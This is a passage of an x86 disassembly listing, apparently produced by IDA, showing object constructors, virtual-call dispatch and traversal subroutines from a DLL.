		jnz	short loc_69B67B98
		cmp	dword ptr [esi+2Ch], 0
		jnz	short loc_69B67BA5
		mov	eax, [esi+38h]
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B678D7
		test	al, al
		jz	short loc_69B67BA5
		mov	eax, [esi+38h]
		and	eax, 0FFFFFFFEh
		jmp	short loc_69B67BA7
; ---------------------------------------------------------------------------


loc_69B67B85:				; CODE XREF: sub_69B67B5D+46j
		push	edi
		mov	ecx, esi
		call	sub_69B678D7
		test	al, al
		jnz	short loc_69B67BAA
		mov	ecx, esi
		call	sub_69B65903


loc_69B67B98:				; CODE XREF: sub_69B67B5D+8j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B67B85


loc_69B67BA5:				; CODE XREF: sub_69B67B5D+Ej
					; sub_69B67B5D+1Ej
		xor	eax, eax


loc_69B67BA7:				; CODE XREF: sub_69B67B5D+26j
					; sub_69B67B5D+4Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B67BAA:				; CODE XREF: sub_69B67B5D+32j
		mov	eax, edi
		jmp	short loc_69B67BA7
sub_69B67B5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67BAE	proc near		; DATA XREF: .text:69B13138o
					; .text:69B137B0o
		mov	eax, [ecx+38h]
		test	eax, 0FFFFFFFEh
		jz	sub_69B6C9EA
		push	0
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B6D8E2
		push	eax
		push	0
		call	sub_69B6D2B6
		retn	4
sub_69B67BAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67BD2	proc near		; CODE XREF: sub_69B6848D+8p
					; DATA XREF: .text:69B13074o ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		push	dword ptr [esi+34h]
		mov	edi, eax
		push	dword ptr [esi+2Ch]
		mov	eax, [esi+38h]
		push	dword ptr [esi+30h]
		shr	eax, 1
		and	eax, 0FFFFFF01h
		push	eax
		mov	ecx, edi
		call	sub_69B6781B
		add	esi, 28h
		push	esi
		lea	ecx, [edi+38h]
		call	sub_69B67A49
		mov	eax, edi
		add	edi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B67BD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67C1F	proc near		; CODE XREF: sub_69B67CD3+Fp
					; sub_69B684CA+7p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		push	0FFFFFFFFh
		push	eax
		mov	dword ptr [esi], offset	off_69B130F0
		mov	dword ptr [esi+8], offset off_69B13090
		mov	dword ptr [esi+10h], offset off_69B12FF8
		mov	[esi+38h], eax
		push	eax
		mov	[esi+3Ch], eax
		push	eax
		mov	ecx, esi
		mov	[esi+40h], eax
		call	sub_69B6781B
		mov	eax, esi
		pop	esi
		retn	4
sub_69B67C1F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B67CC1


loc_69B67C5C:				; CODE XREF: sub_69B67CC1+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B6D38A
		xor	eax, eax
		push	0FFFFFFFFh
		push	eax
		mov	dword ptr [esi], offset	off_69B130F0
		mov	dword ptr [esi+8], offset off_69B13090
		mov	dword ptr [esi+10h], offset off_69B12FF8
		mov	[esi+38h], eax
		push	eax
		mov	[esi+3Ch], eax
		push	eax
		mov	ecx, esi
		mov	[esi+40h], eax
		call	sub_69B6781B
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B67CC1

; =============== S U B	R O U T	I N E =======================================



sub_69B67C93	proc near		; CODE XREF: sub_69B6852E+67j
					; sub_69B69319+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		test	byte ptr [eax],	1
		jz	short loc_69B67CB9
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B67CB9:				; CODE XREF: sub_69B67C93+1Bj
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B67C93	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67CC1	proc near		; CODE XREF: sub_69B71C05-4FF4Ep

; FUNCTION CHUNK AT 69B67C5C SIZE 00000037 BYTES

		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B67CD0
		mov	ecx, eax
		jmp	short loc_69B67C5C
; ---------------------------------------------------------------------------


loc_69B67CD0:				; CODE XREF: sub_69B67CC1+9j
		xor	eax, eax
		retn
sub_69B67CC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67CD3	proc near		; DATA XREF: .text:69B2971Co
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B67CE8
		push	0
		mov	ecx, eax
		call	sub_69B67C1F
		retn
; ---------------------------------------------------------------------------


loc_69B67CE8:				; CODE XREF: sub_69B67CD3+9j
		xor	eax, eax
		retn
sub_69B67CD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B67CEB	proc near		; CODE XREF: sub_69B5FB27+180p
					; sub_69B5FEEC+3Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B67D1A
		push	[ebp+arg_18]
		mov	ecx, eax
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_69B67A6D
		jmp	short loc_69B67D1C
; ---------------------------------------------------------------------------


loc_69B67D1A:				; CODE XREF: sub_69B67CEB+Cj
		xor	eax, eax


loc_69B67D1C:				; CODE XREF: sub_69B67CEB+2Dj
		pop	ebp
		retn	20h
sub_69B67CEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67D20	proc near		; CODE XREF: sub_69B6349E+18Dp
					; sub_69B64A14+13Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B67D3B
		push	[esp+4+arg_4]
		mov	ecx, eax
		call	sub_69B67B17
		mov	esi, eax
		jmp	short loc_69B67D3D
; ---------------------------------------------------------------------------


loc_69B67D3B:				; CODE XREF: sub_69B67D20+Aj
		xor	esi, esi


loc_69B67D3D:				; CODE XREF: sub_69B67D20+19j
		push	[esp+4+arg_0]
		lea	ecx, [esi+38h]
		call	sub_69B677FE
		mov	eax, esi
		pop	esi
		retn	8
sub_69B67D20	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67D4F	proc near		; CODE XREF: sub_69B6808D+3j
					; .text:69B680A8j
					; DATA XREF: ...
		mov	eax, offset off_69B67D58
		retn
sub_69B67D4F	endp

; ---------------------------------------------------------------------------
		align 4
off_69B67D58	dd offset off_69B29718	; DATA XREF: sub_69B67D4Fo
		dd offset sub_69B6859A

; =============== S U B	R O U T	I N E =======================================



sub_69B67D60	proc near		; DATA XREF: .text:69B13224o
		push	esi
		mov	esi, ecx
		call	sub_69B6CA4E
		cmp	dword ptr [esi+3Ch], 0Fh
		pop	esi
		jnz	short locret_69B67D72
		and	eax, 0FFFFFFFEh

locret_69B67D72:			; CODE XREF: sub_69B67D60+Dj
		retn
sub_69B67D60	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67D73	proc near		; CODE XREF: sub_69B68095+3j
					; sub_69B680AD+3j
					; DATA XREF: ...
		add	ecx, 10h
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+7Ch]
		mov	ecx, eax
		neg	eax
		sbb	eax, eax
		lea	edx, [ecx-10h]
		and	eax, edx
		mov	edx, ecx
		add	ecx, 0FFFFFFF0h
		neg	edx
		sbb	edx, edx
		and	edx, ecx
		add	edx, 8
		neg	eax
		sbb	eax, eax
		and	eax, edx
		retn
sub_69B67D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B67D9D	proc near		; DATA XREF: .text:69B13188o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B67DAD
		xor	eax, eax
		jmp	short loc_69B67DB4
; ---------------------------------------------------------------------------


loc_69B67DAD:				; CODE XREF: sub_69B67D9D+Aj
		mov	eax, [ebp+arg_4]
		and	[ebp+arg_4], 0


loc_69B67DB4:				; CODE XREF: sub_69B67D9D+Ej
		lea	ecx, [esi-10h]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+50h]
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B6787C
		cmp	dword ptr [esi+34h], 0Fh
		jz	short loc_69B67DEB
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B67DEB
		mov	eax, [ecx]
		call	dword ptr [eax+94h]
		test	al, al
		jz	short loc_69B67DEB
		xor	eax, eax
		inc	eax
		jmp	short loc_69B67DED
; ---------------------------------------------------------------------------


loc_69B67DEB:				; CODE XREF: sub_69B67D9D+34j
					; sub_69B67D9D+3Bj ...
		xor	eax, eax


loc_69B67DED:				; CODE XREF: sub_69B67D9D+4Cj
		mov	ecx, [esi+6Ch]
		xor	ecx, eax
		and	ecx, 1
		xor	[esi+6Ch], ecx
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B67D9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67DFD	proc near		; DATA XREF: .text:69B1318Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B67E3C
		cmp	edi, [esp+8+arg_4]
		jz	short loc_69B67E3C
		push	edi
		lea	ecx, [esi-10h]
		call	sub_69B678D7
		test	al, al
		jz	short loc_69B67E3C
		mov	eax, [edi]
		mov	esi, [esi+4]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		test	esi, esi
		jz	short loc_69B67E3E
		mov	edx, [esi]
		push	eax
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		push	[esp+10h+arg_0]
		call	dword ptr [edx+4Ch]
		jmp	short loc_69B67E3E
; ---------------------------------------------------------------------------


loc_69B67E3C:				; CODE XREF: sub_69B67DFD+Aj
					; sub_69B67DFD+10j ...
		xor	eax, eax


loc_69B67E3E:				; CODE XREF: sub_69B67DFD+2Bj
					; sub_69B67DFD+3Dj
		pop	edi
		pop	esi
		retn	0Ch
sub_69B67DFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67E43	proc near		; DATA XREF: .text:69B131A0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+6Ch], 1
		jz	short loc_69B67E61
		push	dword ptr [esi+50h]
		push	0
		call	sub_69B6D2B6
		push	dword ptr [esi+4Ch]
		push	eax
		call	sub_69B6D1E0
		jmp	short loc_69B67E6C
; ---------------------------------------------------------------------------


loc_69B67E61:				; CODE XREF: sub_69B67E43+7j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B6D410


loc_69B67E6C:				; CODE XREF: sub_69B67E43+1Cj
		pop	esi
		retn	4
sub_69B67E43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67E70	proc near		; DATA XREF: .text:69B131B0o
		xor	eax, eax
		cmp	[ecx+4], eax
		jz	short loc_69B67E7E
		fld	ds:dbl_69B296F8
		retn
; ---------------------------------------------------------------------------


loc_69B67E7E:				; CODE XREF: sub_69B67E70+5j
		cmp	[ecx+2Ch], eax
		jz	short loc_69B67E8A
		fld	ds:dbl_69B29700
		retn
; ---------------------------------------------------------------------------


loc_69B67E8A:				; CODE XREF: sub_69B67E70+11j
		cmp	[ecx+30h], eax
		jz	short loc_69B67E96
		fld	ds:dbl_69B67EA0
		retn
; ---------------------------------------------------------------------------


loc_69B67E96:				; CODE XREF: sub_69B67E70+1Dj
		fld	ds:dbl_69B296F0
		retn
sub_69B67E70	endp

; ---------------------------------------------------------------------------
		align 10h
dbl_69B67EA0	dq -2.5e-1		; DATA XREF: sub_69B67E70+1Fr

; =============== S U B	R O U T	I N E =======================================



sub_69B67EA8	proc near		; DATA XREF: .text:69B13270o
		cmp	dword ptr [ecx+44h], 0Fh
		mov	eax, dword_69B9B428
		jnz	short locret_69B67EB8
		mov	eax, dword_69B9B430

locret_69B67EB8:			; CODE XREF: sub_69B67EA8+9j
		retn
sub_69B67EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B67EB9	proc near		; CODE XREF: sub_69B67F16+17p
					; sub_69B680C5+24p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_0]
		push	esi
		call	sub_69B2DFD1
		push	[ebp+arg_8]
		lea	eax, [esi+4]
		push	0
		push	eax
		call	sub_69B2DFD1
		mov	ecx, [esi+0Ch]
		and	dword ptr [esi+10h], 0
		push	[ebp+arg_C]
		xor	eax, eax
		mov	al, [ebp+arg_4]
		and	ecx, 0FFFFFFFCh
		add	esi, 14h
		push	esi
		and	eax, 1
		shl	eax, 1
		or	eax, ecx
		mov	[esi-8], eax
		call	sub_69B17320
		pop	esi
		pop	ebp
		retn	10h
sub_69B67EB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67F03	proc near		; CODE XREF: sub_69B6852E+9p
					; sub_69B68C28+29p ...
		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B67F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67F16	proc near		; CODE XREF: sub_69B680B5+3j
					; sub_69B680BD+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		xor	eax, eax
		mov	al, [esi+1Ch]
		push	edi
		xor	edi, edi
		push	edi
		lea	ecx, [esi+4Ch]
		and	eax, 0FFFFFF01h
		push	eax
		push	edi
		push	edi
		call	sub_69B67EB9
		push	edi
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+64h]
		call	sub_69B677FE
		push	edi
		lea	ecx, [esi+6Ch]
		call	sub_69B677FE
		push	edi
		lea	ecx, [esi+70h]
		call	sub_69B677FE
		push	edi
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_69B678AC
sub_69B67F16	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67F74	proc near		; CODE XREF: sub_69B6852E+5Fp
					; sub_69B6DB6E+13p
		push	ebx
		push	esi
		push	edi
		push	0
		mov	esi, ecx
		call	sub_69B677FE
		lea	edi, [esi+4]
		push	0
		mov	ecx, edi
		call	sub_69B677FE
		push	0
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_69B17320
		push	ebx
		call	sub_69B17230
		test	byte ptr [edi],	1
		jz	short loc_69B67FAB
		and	dword ptr [edi], 0FFFFFFFEh
		push	edi
		call	sub_69B17230


loc_69B67FAB:				; CODE XREF: sub_69B67F74+2Cj
		test	byte ptr [esi],	1
		jz	short loc_69B67FB9
		and	dword ptr [esi], 0FFFFFFFEh
		push	esi
		call	sub_69B17230


loc_69B67FB9:				; CODE XREF: sub_69B67F74+3Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B67F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67FBD	proc near		; CODE XREF: sub_69B681B0+126p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		cmp	edi, esi
		jz	short loc_69B6800E
		push	esi
		call	sub_69B67A49
		lea	eax, [esi+4]
		push	eax
		lea	ecx, [edi+4]
		call	sub_69B67A49
		mov	eax, [esi+8]
		mov	[edi+8], eax
		lea	eax, [edi+0Ch]
		mov	ecx, [eax]
		xor	ecx, [esi+0Ch]
		add	esi, 14h
		and	ecx, 1
		xor	[eax], ecx
		mov	ecx, [eax]
		mov	edx, [esi-8]
		xor	edx, ecx
		and	edx, 2
		xor	edx, ecx
		mov	[eax], edx
		mov	eax, [esi-4]
		push	esi
		lea	ecx, [edi+14h]
		mov	[edi+10h], eax
		call	sub_69B4D414


loc_69B6800E:				; CODE XREF: sub_69B67FBD+Aj
		pop	edi
		pop	esi
		retn	4
sub_69B67FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B68013	proc near		; CODE XREF: sub_69B685B5+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_1C]
		mov	esi, ecx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B67A6D
		movzx	eax, byte ptr [ebp+arg_1C]
		mov	dword ptr [esi], offset	off_69B13238
		mov	dword ptr [esi+8], offset off_69B131D8
		mov	dword ptr [esi+10h], offset off_69B13140
		xor	ecx, ecx
		mov	[esi+4Ch], ecx
		mov	[esi+50h], ecx
		mov	[esi+60h], ecx
		mov	[esi+64h], eax
		mov	[esi+68h], ecx
		mov	[esi+6Ch], eax
		mov	[esi+70h], eax
		mov	[esi+80h], ecx
		mov	[esi+64h], eax
		mov	[esi+6Ch], eax
		mov	[esi+70h], eax
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	20h
sub_69B68013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B6807B	proc near		; DATA XREF: .text:69B13194o
		jmp	sub_69B6CD8D
sub_69B6807B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B68080	proc near		; DATA XREF: .text:69B13198o
		jmp	sub_69B6CDE6
sub_69B68080	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68085	proc near		; DATA XREF: .text:69B131E4o

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B68513
sub_69B68085	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6808D	proc near		; DATA XREF: .text:69B131F4o
		sub	ecx, 8
		jmp	sub_69B67D4F
sub_69B6808D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68095	proc near		; DATA XREF: .text:69B13200o
		sub	ecx, 8
		jmp	sub_69B67D73
sub_69B68095	endp

; ---------------------------------------------------------------------------


loc_69B6809D:				; DATA XREF: .text:69B1314Co
		sub	ecx, 10h
		jmp	sub_69B68513
; ---------------------------------------------------------------------------


loc_69B680A5:				; DATA XREF: .text:69B1315Co
		sub	ecx, 10h
		jmp	sub_69B67D4F

; =============== S U B	R O U T	I N E =======================================



sub_69B680AD	proc near		; DATA XREF: .text:69B13168o
		sub	ecx, 10h
		jmp	sub_69B67D73
sub_69B680AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B680B5	proc near		; DATA XREF: .text:69B1320Co
		sub	ecx, 8
		jmp	sub_69B67F16
sub_69B680B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B680BD	proc near		; DATA XREF: .text:69B13174o
		sub	ecx, 10h
		jmp	sub_69B67F16
sub_69B680BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B680C5	proc near		; CODE XREF: sub_69B68121+6p
					; sub_69B68134+11p ...
		push	esi
		xor	eax, eax
		mov	esi, ecx
		mov	al, [esi+1Ch]
		push	edi
		xor	edi, edi
		push	edi
		lea	ecx, [esi+4Ch]
		and	eax, 0FFFFFF01h
		cmp	dword ptr [esi+44h], 0Fh
		push	eax
		setz	al
		push	eax
		mov	eax, [esi+64h]
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B67EB9
		push	edi
		lea	ecx, [esi+6Ch]
		call	sub_69B677FE
		push	edi
		lea	ecx, [esi+70h]
		call	sub_69B677FE
		push	edi
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+7Ch], 0FFFFFFFEh
		mov	[esi+84h], edi
		pop	edi
		pop	esi
		retn
sub_69B680C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68121	proc near		; DATA XREF: .text:69B13184o
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B680C5
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CCB6
sub_69B68121	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68134	proc near		; DATA XREF: .text:69B13288o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi+64h]
		call	sub_69B677FE
		mov	ecx, esi
		call	sub_69B680C5
		pop	esi
		retn	4
sub_69B68134	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6814E	proc near		; DATA XREF: .text:69B131C0o

arg_0		= dword	ptr  4

		cmp	byte ptr [esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B68160
		lea	ecx, [esi-10h]
		call	sub_69B680C5


loc_69B68160:				; CODE XREF: sub_69B6814E+8j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B6CD55
		pop	esi
		retn	4
sub_69B6814E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6816F	proc near		; DATA XREF: .text:69B13280o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+14h], 0
		jnz	short loc_69B681A2
		test	esi, esi
		jz	short loc_69B68192
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6818C
		call	sub_69B2E6D8


loc_69B6818C:				; CODE XREF: sub_69B6816F+16j
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_69B681A2


loc_69B68192:				; CODE XREF: sub_69B6816F+10j
		mov	eax, [edi+64h]
		push	0
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B6D8E2
		mov	esi, eax


loc_69B681A2:				; CODE XREF: sub_69B6816F+Cj
					; sub_69B6816F+21j
		push	dword ptr [edi+5Ch]
		push	esi
		call	sub_69B6D1E0
		pop	edi
		pop	esi
		retn	4
sub_69B6816F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B681B0	proc near		; CODE XREF: sub_69B685ED+Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebx, [esi+6Ch]
		xor	edi, edi
		test	dword ptr [ebx], 0FFFFFFFEh
		jnz	short loc_69B681F3
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, ebx
		call	sub_69B677FE
		test	dword ptr [ebx], 0FFFFFFFEh
		jz	loc_69B68394
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+60h]
		push	eax
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17320


loc_69B681F3:				; CODE XREF: sub_69B681B0+15j
		mov	al, [esi+1Ch]
		and	al, 1
		mov	byte ptr [ebp+var_4], al
		mov	eax, [ebx]
		jmp	loc_69B68389
; ---------------------------------------------------------------------------


loc_69B68202:				; CODE XREF: sub_69B681B0+1DEj
		lea	ebx, [esi+4Ch]
		test	dword ptr [ebx], 0FFFFFFFEh
		jnz	short loc_69B68233
		mov	ecx, [esi+74h]
		push	ecx
		and	eax, 0FFFFFFFEh
		push	edi
		mov	[ebp+var_8], eax
		call	sub_69B6D2B6
		cmp	dword ptr [esi+44h], 0Fh
		push	eax
		push	[ebp+var_4]
		setz	al
		mov	ecx, ebx
		push	eax
		push	[ebp+var_8]
		call	sub_69B67EB9


loc_69B68233:				; CODE XREF: sub_69B681B0+5Bj
		lea	ebx, [esi+70h]
		test	dword ptr [ebx], 0FFFFFFFEh
		jnz	short loc_69B6826F
		mov	ecx, esi
		call	sub_69B65903
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, ebx
		call	sub_69B677FE
		test	dword ptr [ebx], 0FFFFFFFEh
		jz	short loc_69B6826F
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+60h]
		push	eax
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320


loc_69B6826F:				; CODE XREF: sub_69B681B0+8Cj
					; sub_69B681B0+AAj
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B6CF71
		mov	ebx, eax
		cmp	ebx, edi
		jnz	loc_69B6830D
		cmp	[esi+84h], edi
		jnz	short loc_69B682C5
		lea	eax, [esi+70h]
		push	eax
		lea	ecx, [esi+6Ch]
		call	sub_69B67A49
		lea	eax, [esi+78h]
		push	eax
		lea	ecx, [esi+74h]
		call	sub_69B4D414
		push	edi
		push	[ebp+var_4]
		lea	ecx, [esi+4Ch]
		push	edi
		push	edi
		call	sub_69B67EB9
		push	edi
		lea	ecx, [esi+70h]
		call	sub_69B677FE
		push	edi
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B6830D
; ---------------------------------------------------------------------------


loc_69B682C5:				; CODE XREF: sub_69B681B0+D8j
		lea	ecx, [esi+80h]
		call	sub_69B6DA4B
		lea	ebx, [esi+4Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B67FBD
		mov	eax, [ebx]
		and	eax, 0FFFFFFFEh
		push	eax
		lea	ecx, [esi+6Ch]
		call	sub_69B677FE
		push	dword ptr [esi+60h]
		push	edi
		call	sub_69B6D2B6
		push	eax
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17320
		lea	ecx, [esi+80h]
		call	sub_69B6D972
		mov	ebx, [esi+50h]
		and	ebx, 0FFFFFFFEh


loc_69B6830D:				; CODE XREF: sub_69B681B0+CCj
					; sub_69B681B0+113j
		push	ebx
		mov	ecx, esi
		call	sub_69B678D7
		test	al, al
		jz	short loc_69B68386
		test	dword ptr [esi+70h], 0FFFFFFFEh
		jz	short loc_69B68398
		push	dword ptr [esi+74h]
		push	edi
		call	sub_69B6D2B6
		push	dword ptr [esi+5Ch]
		push	eax
		call	sub_69B6D1E0
		push	dword ptr [esi+78h]
		push	eax
		call	sub_69B6D24C
		test	eax, eax
		jle	short loc_69B68398
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [esi+80h]
		call	sub_69B6DAF7
		lea	eax, [esi+70h]
		push	eax
		lea	ecx, [esi+6Ch]
		call	sub_69B67A49
		lea	ebx, [esi+78h]
		push	ebx
		lea	ecx, [esi+74h]
		call	sub_69B4D414
		push	edi
		push	[ebp+var_4]
		lea	ecx, [esi+4Ch]
		push	edi
		push	edi
		call	sub_69B67EB9
		push	edi
		lea	ecx, [esi+70h]
		call	sub_69B677FE
		push	edi
		push	ebx
		call	sub_69B17320


loc_69B68386:				; CODE XREF: sub_69B681B0+167j
		mov	eax, [esi+6Ch]


loc_69B68389:				; CODE XREF: sub_69B681B0+4Dj
		test	eax, 0FFFFFFFEh
		jnz	loc_69B68202


loc_69B68394:				; CODE XREF: sub_69B681B0+2Aj
		xor	eax, eax
		jmp	short loc_69B6839A
; ---------------------------------------------------------------------------


loc_69B68398:				; CODE XREF: sub_69B681B0+170j
					; sub_69B681B0+18Fj
		mov	eax, ebx


loc_69B6839A:				; CODE XREF: sub_69B681B0+1E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B681B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6839F	proc near		; CODE XREF: sub_69B685ED+4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	al, [esi+1Ch]
		and	al, 1
		push	edi
		mov	byte ptr [ebp+var_4], al
		lea	edi, [esi+4Ch]


loc_69B683B4:				; CODE XREF: sub_69B6839F+72j
					; sub_69B6839F+7Ej
		xor	ebx, ebx
		test	dword ptr [edi], 0FFFFFFFEh
		jnz	short loc_69B683E5
		cmp	dword ptr [esi+44h], 0Fh
		push	ebx
		push	[ebp+var_4]
		setz	al
		mov	ecx, esi
		push	eax
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, edi
		call	sub_69B67EB9
		test	dword ptr [edi], 0FFFFFFFEh
		jz	loc_69B68486


